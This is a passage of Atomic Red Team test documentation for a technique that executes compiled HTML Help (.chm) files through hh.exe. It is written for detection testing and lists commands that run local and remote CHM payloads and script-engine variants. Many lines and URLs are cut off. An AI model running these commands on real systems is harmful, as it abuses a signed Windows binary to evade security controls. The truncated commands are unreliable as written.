

T1037.001
 T1037.002
 T1037.004
 T1037.005
 T1039

T1040

Name	Description	Туре	Default Value
local_chm_file	Local .chm payload	Path	PathToAtomicsFolder\T1218.001\src\T1218.001

#### Attack Commands: Run with command\_prompt!

hh.exe #{local\_chm\_file}

#### Dependencies: Run with powershell!

Description: The payload must exist on disk at specified location (#{local\_chm\_file})

#### **Check Prereq Commands:**

if (Test-Path #{local\_chm\_file}) {exit 0} else {exit 1}

#### **Get Prereq Commands:**

New-Item -Type Directory (split-path #{local\_chm\_file}) -ErrorAction ign Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma

# Atomic Test #2 - Compiled HTML Help Remote Payload

Uses hh.exe to execute a remote compiled HTML Help payload. Upon execution displays an error saying the file cannot be open

Supported Platforms: Windows

auto\_generated\_guid: 0f8af516-9818-4172-922b-42986ef1e81d

### Inputs:

Name	Description	Туре	Default Value
remote_chm_file	Remote .chm payload	Url	https://raw.githubusercontent.com/redcanaryred- team/master/atomics/T1218.001/src/T1218.

#### Attack Commands: Run with command\_prompt!

hh.exe #{remote\_chm\_file}

# Atomic Test #3 - Invoke CHM with default Shortcut Command Execution

Executes a CHM file with the default Shortcut Command method.

**Supported Platforms**: Windows

auto\_generated\_guid: 29d6f0d7-be63-4482-8827-ea77126c1ef7

#### Inputs:

Name Description Type Default Value

chm_file_path	Default path of CHM	String	Test.chm
hh_file_path	path of modified HH.exe	Path	\$env:windir\hh.exe

#### Attack Commands: Run with powershell!

```
Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_fi <a href="tel:">CHMFilePath #{chm_fi</a>
```

#### Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

#### **Check Prereq Commands:**

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

#### **Get Prereq Commands:**

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

# Atomic Test #4 - Invoke CHM with InfoTech Storage Protocol Handler

Executes a CHM file with the ITS protocol handler.

**Supported Platforms:** Windows

auto\_generated\_guid: b4094750-5fc7-4e8e-af12-b4e36bf5e7f6

#### Inputs:

Name	Description	Type	Default Value
hh_file_path	path of modified HH.exe	Path	\$env:windir\hh.exe
infotech_storage_handler	Default InfoTech Storage Protocol Handler	String	its
chm_file_path	Default path of CHM	String	Test.chm

#### Attack Commands: Run with powershell!

```
Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handle
```

#### Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

#### **Check Prereq Commands:**

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

**Get Prereq Commands:** 

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

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## Atomic Test #5 - Invoke CHM Simulate Double click

Executes a CHM file simulating a user double click.

Supported Platforms: Windows

auto\_generated\_guid: 5decef42-92b8-4a93-9eb2-877ddcb9401a

#### Inputs:

Name	Description	Туре	Default Value
chm_file_path	Default path of CHM	String	Test.chm

Attack Commands: Run with powershell!

Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm\_file\_

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Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

**Check Prereq Commands:** 

\$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not \$RequiredModule) {exit 1}
if (-not \$RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex

#### **Get Prereq Commands:**

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

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# Atomic Test #6 - Invoke CHM with Script Engine and Help Topic

Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.

**Supported Platforms:** Windows

auto\_generated\_guid: 4f83adda-f5ec-406d-b318-9773c9ca92e5

### Inputs:

Name	Description	Туре	Default Value
topic_extension	Default Help Topic	String	html
hh_file_path	path of modified HH.exe	Path	\$env:windir\hh.exe
infotech_storage_handler	Default InfoTech Storage Protocol Handler	String	its
script_engine	Default Script Engine	String	JScript

chm\_file\_path Default path of CHM String Test.chm

#### Attack Commands: Run with powershell!

```
Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHa □
```

#### Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

#### **Check Prereq Commands:**

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

#### **Get Prereq Commands:**

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

# Atomic Test #7 - Invoke CHM Shortcut Command with ITS and Help Topic

Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.

Supported Platforms: Windows

auto\_generated\_guid: 15756147-7470-4a83-87fb-bb5662526247

#### Inputs:

Name	Description	Type	Default Value
topic_extension	Default Help Topic	String	html
hh_file_path	path of modified HH.exe	Path	\$env:windir\hh.exe
infotech_storage_handler	Default InfoTech Storage Protocol Handler	string	its
chm_file_path	Default path of CHM	String	Test.chm

#### Attack Commands: Run with powershell!

```
Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #
```

### Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

#### **Check Prereq Commands:**

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

**Get Prereq Commands:** 

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force